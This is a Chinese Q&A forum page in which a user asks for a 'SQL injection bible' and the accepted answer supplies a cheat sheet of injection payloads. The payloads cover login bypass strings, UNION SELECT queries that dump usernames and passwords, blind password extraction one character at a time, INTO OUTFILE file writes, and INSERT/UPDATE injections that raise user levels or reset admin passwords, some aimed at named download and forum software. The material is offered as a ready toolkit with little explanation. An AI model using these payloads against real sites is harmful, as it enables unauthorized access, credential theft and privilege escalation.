永发信息网

sql注入天书

答案:1  悬赏:30  手机版
解决时间 2021-06-05 05:36
谁有完整版的 给一个啊 大侠 代替所有菜鸟谢谢您啦
最佳答案

我有的,我给你,希望对你有些帮助,分要给我哟。


注入经典语句总结
' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)
' and LENGTH(password)='6(探测密码长度)
' and LEFt(password,1)='m
' and LEFt(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可以是1或者=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
SELECt password FROM admins WHERe login='John' INTO DUMPFILe '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() (灵活应用查询)
常用查询测试语句,
SELECT * FROM table WHERe 1=1
SELECt * FROM table WHERe 'uuu'='uuu'
SELECt * FROM table WHERe 1<>2
SELECt * FROM table WHERe 3>2
SELECt * FROM table WHERe 2<3
SELECt * FROM table WHERe 1
SELECt * FROM table WHERe 1+1
SELECt * FROM table WHERe 1--1
SELECt * FROM table WHERe ISNULL(NULL)
SELECt * FROM table WHERe ISNULL(COT(0))
SELECt * FROM table WHERe 1 IS NOT NULL
SELECt * FROM table WHERe NULL IS NULL
SELECt * FROM table WHERe 2 BETWEEN 1 AND 3
SELECt * FROM table WHERe 'b' BETWEEN 'a' AND 'c'
SELECt * FROM table WHERe 2 IN (0,1,2)
SELECt * FROM table WHERe CASE WHEN 1>0 THEN 1 END


例如:夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………


例如2:灰色轨迹 变换id进行测试(meteor)
union%20(SELECt%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERe%20eventid%20=%2013)%20order%20by%20eventdate
union%20(SELECt%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERe%20eventid%20=%2010)%20order%20by%20eventdate
构造语句:
SELECt allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERe eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
SELECt allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERe eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
UNIOn%20(SELECt%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERe%20userid%20=%205)%20order%20by%20eventdate
UNIOn%20(SELECt%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERe%20userid=13465)%20order%20by%20eventdate
UNIOn%20(SELECt%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERe%20username='sandflee')%20order%20by%20eventdate (查沙子的id)



(SELECt a FROM table_name WHERe a=10 AND B=1 ORDER BY a LIMIT 10)
SELECt * FROM article WHERe articleid='$id' UNIOn SELECt * FROM……(字段和数据库相同情况下,可直接提交)
SELECt * FROM article WHERe articleid='$id' UNIOn SELECt 1,1,1,1,1,1,1 FROM……(不同的情况下)


特殊技巧:在表单,搜索引擎等地方写:
“___”
“.__ ”
“%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#


$command = "dir c:";system($command);
SELECt * FROM article WHERe articleid='$id'
SELECt * FROM article WHERe articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(SELECt * FROM article WHERe articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1


语句形式:建立一个库,插入:
CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, 'swap', 'mypass');



插如一个注册用户:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";


UPDATe user SET password='$password', homepage='$homepage' WHERe id='$id'
UPDATE user SET password='MD5(mypass)' WHERe username='admin'#)', homepage='$homepage' WHERe id='$id'
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERe id='$id'";
UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERe id='[ID]'
"UPDATE news SET Votes=Votes+1, score=score+$note WHERe idnews='$id'";


长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如:
UPDATE article SET title=$title WHERe articleid=1 对应函数
UPDATE article SET title=DATABASE() WHERe id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERe id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERe id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERe id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERe id=1
#把当前会话被验证匹配的用户名更新到title字段


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$req = "SELECT * FROM membres WHERe name LIKE '%$search%' ORDER BY name";
SELECt * FROM membres WHERe name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECt * FROM membres WHERe name LIKE '%%' ORDER BY uid#%' ORDER BY name
SELECt uid FROM admins WHERe login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)
SELECt uid FROM admins WHERe login='' OR admin_level=1#' AND password=''
SELECt * FROM table WHERe msg LIKE '%hop'
SELECt uid FROM membres WHERe login='Bob' AND password LIKE 'a%'#' AND password=''
SELECt * FROM membres WHERe name LIKE '%%' ORDER BY uid#%' ORDER BY name

我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
数学比值判断题
济源市济源俏女王地址在什么地方,想今天过去
《是美男啊》第七集中,黄泰京被野猪追之前放
just english master
有什么<说唱 的歌>
软组织损伤?脚后跟道脚踝那里,受伤了怎么办
在玫瑰园里总是出现不是7天好友,得怎样操作
交通银行主页菜单中的“网上支付”->“激活及
QQ旋舞舞团宣传片
怀孕期间发现老公有外遇怎么办?
牧场物语 风之集会 种子等级问题?
潢川县信阳周兵家电超市地址有谁知道?有点事
无缘无故想发脾气,为什么呢?
谁给我推荐几首好听的DJ?(中文版的)
用:《再说一次我爱你》搭成一组谜语,高手请
推荐资讯
有没有比较安静一点的歌曲?
富拉尔基区齐齐哈尔代斌烧烤怎么去啊,谁知道
注册表编辑??
中信银联魔力普卡
鸿丰人寿(分红型)是不是一定要满5年才能退
想给我的宠物起名字,有超绚的名字吗,帮忙啊
麻阳苗族自治县怀化麻阳苗族自治县双联合困难
帮我想个网名,伤感的
利川市恩施万州王鸭子这个地址在什么地方,我
我现在身体不好,婆婆一直想让我吃补品。请问
老婆问我 怎样才能做一个好老公 ?
女性安全期危险期
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?